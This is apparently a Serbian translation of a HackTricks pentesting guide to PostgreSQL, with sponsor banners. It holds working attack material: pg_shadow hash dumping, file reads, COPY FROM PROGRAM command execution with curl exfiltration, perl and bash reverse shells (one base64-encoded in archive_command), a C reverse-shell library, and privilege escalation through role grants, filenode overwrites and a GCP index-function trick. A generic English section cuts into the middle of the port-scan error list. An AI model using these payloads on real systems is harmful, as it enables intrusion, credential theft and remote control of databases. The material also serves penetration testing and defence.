hacktricks/network-services-pentesting/pentesting-postgresql.md

38 KiB

5432,5433 - Pentesting PostgreSQL


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

PostgreSQL je opisan kao objektno-relacioni sistem baza podataka koji je open source. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga svestranim izborom za programere i organizacije.

Podrazumevani port: 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi.

PORT     STATE SERVICE
5432/tcp open  pgsql

Poveži se i Osnovno Enumerisanje

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} Ako prilikom pokretanja \list komande pronađete bazu podataka pod nazivom rdsadmin, znate da se nalazite unutar AWS postgresql baze podataka. {% endhint %}

Za više informacija o zloupotrebi PostgreSQL baze podataka pogledajte:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

Automatsko Nabrojavanje

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Skeniranje portova

Prema ovom istraživanju, kada pokušaj povezivanja ne uspe, dblink baca izuzetak sqlclient_unable_to_establish_sqlconnection uključujući objašnjenje greške. Primeri ovih detalja navedeni su ispod.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • Host je nedostupan

DETALJNO: nije moguće povezivanje na server: Nema rute do hosta. Da li server radi na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?

  • Port je zatvoren
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port je otvoren
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

Pentesting PostgreSQL

PostgreSQL Enumeration

During the enumeration phase, you can use tools like nmap to discover PostgreSQL services running on the target system. You can also use tools like pgcli or psql to connect to the PostgreSQL database and gather information about users, databases, and privileges.

PostgreSQL Exploitation

Once you have gathered enough information during the enumeration phase, you can proceed with exploiting vulnerabilities in the PostgreSQL service. Common exploitation techniques include SQL injection, privilege escalation, and brute force attacks against weak credentials.

PostgreSQL Post-Exploitation

After successfully exploiting a PostgreSQL service, you can perform post-exploitation activities such as dumping the database, creating backdoors, or escalating your privileges within the system. It is crucial to maintain access to the system without being detected.

PostgreSQL Security Recommendations

To secure a PostgreSQL database, you should regularly update the software to patch known vulnerabilities. Additionally, you should follow security best practices such as using strong passwords, limiting access to the database, and monitoring for any suspicious activities.

DETAIL:  FATAL:  password authentication failed for user "name"
  • Port je otvoren ili filtriran
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je diskutovano u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.

Enumeracija privilegija

Uloge

Vrste uloga
rolsuper Uloga ima privilegije superkorisnika
rolinherit Uloga automatski nasleđuje privilegije uloga kojima pripada
rolcreaterole Uloga može kreirati druge uloge
rolcreatedb Uloga može kreirati baze podataka
rolcanlogin Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije
rolreplication Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju.
rolconnlimit Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači da nema ograničenja.
rolpassword Ne lozinka (uvek se čita kao ********)
rolvaliduntil Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka
rolbypassrls Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte Odeljak 5.8 za više informacija.
rolconfig Podrazumevane vrednosti za konfiguracione promenljive za izvršavanje u vreme izvršavanja
oid ID uloge

Interesantne grupe

  • Ako ste član pg_execute_server_program možete izvršavati programe
  • Ako ste član pg_read_server_files možete čitati fajlove
  • Ako ste član pg_write_server_files možete pisati fajlove

{% hint style="info" %} Imajte na umu da je u Postgresu korisnik, grupa i uloga isti. To zavisi samo od toga kako ga koristite i da li mu dozvoljavate prijavu. {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tabele

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Funkcije

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Radnje na fajl-sistemu

Čitanje direktorijuma i fajlova

Od ovog commit članovi definisane grupe DEFAULT_ROLE_READ_SERVER_FILES (pozvane pg_read_server_files) i super korisnici mogu koristiti COPY metod na bilo kom putanji (proverite convert_and_check_filename u genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE, možete postati član te grupe:

GRANT pg_read_server_files TO username;

Više informacija. {% endhint %}

Postoje druge postgres funkcije koje se mogu koristiti za čitanje datoteka ili listanje direktorijuma. Mogu ih koristiti samo superkorisnici i korisnici sa eksplicitnim dozvolama:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Možete pronaći više funkcija na https://www.postgresql.org/docs/current/functions-admin.html

Jednostavno pisanje datoteka

Samo super korisnici i članovi pg_write_server_files mogu koristiti kopiranje za pisanje datoteka.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE, možete postati član te grupe:

GRANT pg_write_server_files TO username;

Više informacija. {% endhint %}

Zapamtite da COPY ne može rukovati znakovima nove linije, stoga čak i ako koristite base64 payload, morate poslati jednolinijski.
Veoma važno ograničenje ove tehnike je da copy ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.

Uploadovanje binarnih fajlova

Međutim, postoje druge tehnike za uploadovanje velikih binarnih fajlova:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

Savet za bug bounty: registrujte se na Intigriti, premium platformu za bug bounty kreiranu od hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Ažuriranje podataka tabele PostgreSQL-a putem lokalnog pisanja fajlova

Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL-a, možete ažurirati bilo koju tabelu na serveru tako što ćete prepisati povezani fajl čvora u direktorijumu podataka PostgreSQL-a. Više o ovoj tehnici ovde.

Potrebni koraci:

  1. Dobijanje direktorijuma podataka PostgreSQL-a
SELECT setting FROM pg_settings WHERE name = 'data_directory';

Napomena: Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita SELECT version() i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Često korišćeno ime klastera je main. 2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom

SELECT pg_relation_filepath('{IME_TABELE}')

Ovaj upit treba da vrati nešto poput base/3/1337. Puna putanja na disku biće $DATA_DIRECTORY/base/3/1337, tj. /var/lib/postgresql/13/main/base/3/1337. 3. Preuzimanje fajl čvora kroz funkcije lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{IME_TABELE}';
  1. Koristite PostgreSQL Filenode Editor da uredite fajl čvora; postavite sve rol* boolean vrednosti na 1 za pune dozvole.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI}

Demonstracija PostgreSQL Filenode Editora 6. Ponovo otpremite uređeni fajl čvora putem funkcija lo_*, i prepisujte originalni fajl na disku

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (Opciono) Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.

Takođe možete postati superadmin uređivanjem tabele pg_authid. Pogledajte sledeću sekciju.

RCE

RCE do programa

Od verzije 9.3, samo super korisnici i članovi grupe pg_execute_server_program mogu koristiti copy za RCE (primer sa eksfiltracijom:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Primer za izvršenje:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} Zapamtite da ako niste super korisnik, ali imate dozvole CREATEROLE, možete postati član te grupe:

GRANT pg_execute_server_program TO username;

Više informacija. {% endhint %}

Ili koristite modul multi/postgres/postgres_copy_from_program_cmd_exec iz metasploita.
Više informacija o ovoj ranjivosti ovde. Dok je prijavljeno kao CVE-2019-9193, Postgres je proglasio da je ovo funkcionalnost i neće biti popravljeno.

RCE sa PostgreSQL jezicima

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

RCE sa PostgreSQL ekstenzijama

Kada ste naučili iz prethodnog posta kako da otpremite binarne datoteke, možete pokušati da dobijete RCE otpremajući postgresql ekstenziju i učitavajući je.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

RCE sa konfiguracionom datotekom PostgreSQL-a

{% hint style="info" %} Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti kroz ugniježđene SELECT naredbe {% endhint %}

Konfiguraciona datoteka PostgreSQL-a je upisiva od strane postgres korisnika, koji pokreće bazu podataka, tako da kao superkorisnik, možete pisati datoteke u fajl sistem, i stoga možete prepisati ovu datoteku.

RCE sa ssl_passphrase_command

Više informacija o ovoj tehnici ovde.

Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Putanja do privatnog ključa baze podataka
  • ssl_passphrase_command = '' Ako je privatna datoteka zaštićena lozinkom (šifrovana) postgresql će izvršiti komandu naznačenu u ovom atributu.
  • ssl_passphrase_command_supports_reload = off Ako je ovaj atribut uključen komanda izvršena ako je ključ zaštićen lozinkom će se izvršiti kada se izvrši pg_reload_conf().

Zatim, napadač će morati:

  1. Izvući privatni ključ sa servera
  2. Šifrovati preuzeti privatni ključ:
  3. rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  4. Prepisati
  5. Izvući trenutnu postgresql konfiguraciju
  6. Prepisati konfiguraciju sa pomenutim atributima konfiguracije:
  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
  8. ssl_passphrase_command_supports_reload = on
  9. Izvršiti pg_reload_conf()

Prilikom testiranja primetio sam da će ovo raditi samo ako datoteka privatnog ključa ima privilegije 640, da je vlasnik root i da je grupa ssl-cert ili postgres (tako da postgres korisnik može da je čita), i da je smeštena u /var/lib/postgresql/12/main.

RCE sa archive_command

Više informacija o ovoj konfiguraciji i o WAL ovde.

Još jedan atribut u konfiguracionoj datoteci koji je iskoristiv je archive_command.

Da bi ovo radilo, postavka archive_mode mora biti 'on' ili 'always'. Ako je to tačno, tada bismo mogli prebrisati komandu u archive_command i naterati je da se izvrši putem WAL (write-ahead logging) operacija.

Opšti koraci su:

  1. Proveriti da li je režim arhiviranja omogućen: SELECT current_setting('archive_mode')
  2. Prebrisati archive_command sa payload-om. Na primer, reverzna ljuska: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. Ponovo učitati konfiguraciju: SELECT pg_reload_conf()
  4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: SELECT pg_switch_wal() ili SELECT pg_switch_xlog() za neke verzije Postgresa

RCE sa bibliotekama za učitavanje pri pokretanju

Više informacija o ovoj tehnici ovde.

Ovaj vektor napada koristi sledeće konfiguracione promenljive:

  • session_preload_libraries -- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom povezivanja klijenta.
  • dynamic_library_path -- lista direktorijuma gde će PostgreSQL server tražiti biblioteke.

Možemo postaviti vrednost dynamic_library_path na direktorijum koji je upisiv od strane postgres korisnika koji pokreće bazu podataka, na primer, /tmp/ direktorijum, i otpremiti zlonamerni .so objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novu otpremljenu biblioteku uključivanjem je u promenljivu session_preload_libraries.

Koraci napada su:

  1. Preuzmite originalni postgresql.conf
  2. Uključite /tmp/ direktorijum u vrednost dynamic_library_path, na primer dynamic_library_path = '/tmp:$libdir'
  3. Uključite ime zlonamerne biblioteke u vrednost session_preload_libraries, na primer session_preload_libraries = 'payload.so'
  4. Proverite glavnu verziju Postgresa putem upita SELECT version()
  5. Kompajlirajte zlonamerni kod biblioteke sa odgovarajućim PostgreSQL dev paketom Primer koda:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
kod preuzet sa https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Kompajliranje koda:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. Otpremite zlonamerni postgresql.conf, kreiran u koracima 2-3, i prepišite originalni
  2. Otpremite payload.so iz koraka 5 u /tmp direktorijum
  3. Ponovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem upita SELECT pg_reload_conf()
  4. Prilikom sledeće DB konekcije, dobićete vezu za reverznu ljusku.

Postgres Privesc

Postgres Privesc

Grant

Prema dokumentaciji: Uloge koje imaju privilegiju CREATEROLE mogu dodeljivati ili oduzimati članstvo u bilo kojoj ulozi koja nije superkorisnik.

Dakle, ako imate dozvolu CREATEROLE možete sebi dodeliti pristup drugim ulogama (koje nisu superkorisnici) što vam može omogućiti čitanje i pisanje datoteka i izvršavanje komandi:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Izmena lozinke

Korisnici sa ovom ulogom takođe mogu promeniti lozinke drugih korisnika koji nisu superkorisnici:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

Često je uobičajeno da lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke. Stoga, kada ste prikupili dozvole za izvršavanje koda, možete zloupotrebiti ove dozvole da biste dobili ulogu SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} Ovo je obično moguće zbog sledećih linija u datoteci pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

U ovom objašnjenju je objašnjeno kako je bilo moguće izvršiti privesc u Postgres GCP zloupotrebom privilegije ALTER TABLE koja je dodeljena korisniku.

Kada pokušate dodeliti vlasništvo nad tabelom drugom korisniku, trebalo bi da dobijete grešku koja to sprečava, ali očigledno je GCP dao tu opciju korisniku postgres koji nije superkorisnik u GCP-u:

Povezujući ovu ideju sa činjenicom da kada se izvrše komande INSERT/UPDATE/ANALYZE na tabeli sa funkcijom indeksa, funkcija se poziva kao deo komande sa dozvolama vlasnika tabele. Moguće je kreirati indeks sa funkcijom, dodeliti vlasničke dozvole superkorisniku nad tom tabelom, a zatim pokrenuti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Eksploatacija

  1. Počnite kreiranjem nove tabele.
  2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
  3. Razvijte zlonamernu funkciju indeksiranja koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
  4. Izmijenite vlasnika tabele u "cloudsqladmin", što je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
  5. Izvršite ANALYZE operaciju na tabeli. Ova akcija nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin". Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin", omogućavajući izvršavanje prethodno neovlašćene shell komande.

U PostgreSQL-u, ovaj tok izgleda nešto ovako:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Zatim će tabela shell_commands_results sadržati izlaz izvršenog koda:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Lokalni Login

Neke pogrešno konfigurisane postgresql instance mogu dozvoliti prijavljivanje bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći dblink funkciju:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} Imajte na umu da bi prethodni upit radio, funkcija dblink mora postojati. Ako ne postoji, možete pokušati da je kreirate pomoću

CREATE EXTENSION dblink;

{% endhint %}

Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Moguće je proveriti da li ova funkcija postoji sa:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Prilagođena definisana funkcija sa SECURITY DEFINER

U ovom objašnjenju, pentesteri su uspeli da postanu superkorisnici unutar postgres instanci koje je obezbedio IBM, jer su pronašli ovu funkciju sa SECURITY DEFINER oznakom:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Kako je objašnjeno u dokumentaciji, funkcija sa SECURITY DEFINER se izvršava sa privilegijama korisnika koji je vlasnik. Stoga, ako je funkcija ranjiva na SQL Injection ili vrši privilegovane akcije sa parametrima koje kontroliše napadač, može biti zloupotrebljena za povećanje privilegija unutar postgres-a.

Na liniji 4 prethodnog koda možete videti da funkcija ima oznaku SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

I zatim izvršite komande:

Prođite BruteForce sa PL/pgSQL

PL/pgSQL je potpuno opremljeni programski jezik koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje petlji i drugih kontrolnih struktura radi poboljšanja logike programa. Pored toga, SQL naredbe i okidači imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem PL/pgSQL jezika. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.
Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

Povećanje privilegija pisanjem preko internih PostgreSQL tabela

{% hint style="info" %} Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe {% endhint %}

Ako možete čitati i pisati fajlove servera PostgreSQL-a, možete postati superkorisnik pisanjem preko PostgreSQL on-disk filenode-a, koji je povezan sa internom tabelom pg_authid.

Pročitajte više o ovoj tehnici ovde.

Koraci napada su:

  1. Dobijanje PostgreSQL direktorijuma sa podacima
  2. Dobijanje relativne putanje do filenode-a, povezanog sa tabelom pg_authid
  3. Preuzimanje filenode-a kroz funkcije lo_*
  4. Dobijanje tipa podataka, povezanog sa tabelom pg_authid
  5. Koristite PostgreSQL Filenode Editor da uredite filenode; postavite sve rol* boolean zastave na 1 za puna ovlašćenja.
  6. Ponovo otpremite uređeni filenode putem funkcija lo_*, i prepišite originalni fajl na disku
  7. (Opciono) Obrišite keširanu tabelu iz memorije pokretanjem skupog SQL upita
  8. Sada biste trebali imati privilegije potpunog superadmina.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

beleženje

Unutar fajla postgresql.conf možete omogućiti postgresql zapise menjajući:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Zatim, ponovo pokrenite servis.

pgadmin

pgadmin je platforma za administraciju i razvoj PostgreSQL baze podataka.
Možete pronaći šifre unutar pgadmin4.db fajla.
Možete ih dešifrovati koristeći decrypt funkciju unutar skripte: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan pg_hba.conf. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.

Dostupni metodi autentikacije zasnovani na lozinkama u pg_hba.conf su md5, crypt i password. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg_authid.